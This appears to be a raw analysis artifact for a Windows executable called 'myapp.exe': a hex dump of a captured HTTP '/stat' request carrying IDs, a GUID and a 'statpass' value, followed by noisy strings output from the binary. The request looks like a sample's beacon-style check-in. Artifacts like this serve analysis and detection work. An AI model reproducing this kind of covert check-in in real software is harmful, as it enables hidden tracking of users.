0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..

0x00000000 (00000)   47455420 2f737461 743f7569 643d3130   GET /stat?uid=10
0x00000010 (00016)   3026646f 776e6c69 6e6b3d31 31313126   0&downlink=1111&
0x00000020 (00032)   75706c69 6e6b3d31 31313126 69643d30   uplink=1111&id=0
0x00000030 (00048)   30304131 38344126 73746174 70617373   00A184A&statpass
0x00000040 (00064)   3d627061 73732676 65727369 6f6e3d32   =bpass&version=2
0x00000050 (00080)   30313430 38333026 66656174 75726573   0140830&features
0x00000060 (00096)   3d333026 67756964 3d353666 38343966   =30&guid=56f849f
0x00000070 (00112)   652d3630 65332d34 3165352d 38386339   e-60e3-41e5-88c9
0x00000080 (00128)   2d643565 38373061 61313063 3926636f   -d5e870aa10c9&co
0x00000090 (00144)   6d6d656e 743d3230 31343038 33302670   mment=20140830&p
0x000000a0 (00160)   3d302673 3d204854 54502f31 2e300d0a   =0&s= HTTP/1.0..
0x000000b0 (00176)   0d0a                                  ..


Strings
Q.
.....aew.......#.}..1.Q.<.
b....&.Q..6.........:Tx.,..
{$.
....k.fU.
.c.Y=O
..vk.@.%9*.... .j..0~
>Lo..Nm......a.l
....+...
.1........CTaY.K....q...5
.h&
...B..A.t.:K.<...B....t`[
7....k..;.N.......*.r...czm.>c..
.
..$5.....[{.../T..X.
.
.q..x......h...S
Gl..u.2
.~KF..5d..A...~E)G.n...E..m..`qP.....0bp.Uj'..:..#.".
.P.h.O....2F......3...
w(.B.b.....
C$[.Y.
.....,o.
O..
..BX.&...M^.o.[E....3...z...>.[..B.._!-..9.`.Q.L..
...Ifx2.8Q..0A.qWRq..+#1.C
........,.....=V/iT.r...
^....X>k[k2.'.Y...._...i.GyX.F..!C.8...e..w...wh.
9.+.:..
.
.E
(...`..])P......@f....-G.8+R&....Q..}<:.
..t..).p..w..8.CX....~...!..4.;..
+9X
..=]
.
Y
L..x
 3...
.y.p$.L..S.
..........Z{
....
4..+.........8.#..@..V
.
.ETRS..).......

 (C) 2003
myapp.exe
xlRW
 xlRW
xlRW 1.0 
 xlRW(&A)...
080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
1$1+171>1Q1b1h1v1{1
141L1h1l1p1t1x1|1
["1kr_
2 2$2(2,2024282<2@2D2H2L2P2T2X2\2`2d2h2l2p2t2x2|2
]25Bn1C
2^R,%%
3$3*30363<3B3H3N3T3Z3`3f3l3r3x3~3
3 3$3(3,3034383<3@3D3P3l3x3
$34Rbr
4 4&4,42484>4D4J4P4V4\4b4h4n4t4z4
444@4\4d4l4t4|4
  %*5-%'2(  .?/279<<<$-BFA:F5;<9
5"5(5.545:5@5F5L5R5X5^5d5
5))G>A
6-=9=?=_=y=
6Y:T/l)
9& &99999999999999999999999999999999999999999999999999
9acspAPPL
^(@9AE
aIeBEQ
AppendMenuW
CreateFileA
]CTOsW-
__CxxFrameHandler
@.data
DrawIcon
DY|r_;
EkV_^]
EnableWindow
esm\vS
eT`q#*Q
GetClientRect
GetModuleFileNameA
GetModuleFileNameW
GetSystemMenu
GetSystemMetrics
HrCg@b	g 
ICC_PROFILE
.idata
IsIconic
KERNEL32.dll
lD%xEu
 :L'G?
LoadIconW
memcpy
memset
MFC42u.DLL
;MNd]t
mntrRGB XYZ 
MSVCRT.dll
mXt[<=
O&3 w-
O]p;kY'T
PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD
P[gi'A
QGd4|P8
{[q%[T
`.rdata
SendMessageW
sf6N]a
S}{U/P'm
!This program cannot be run in DOS mode.
t!xV*@
USER32.dll
(<=(W9
_wfopen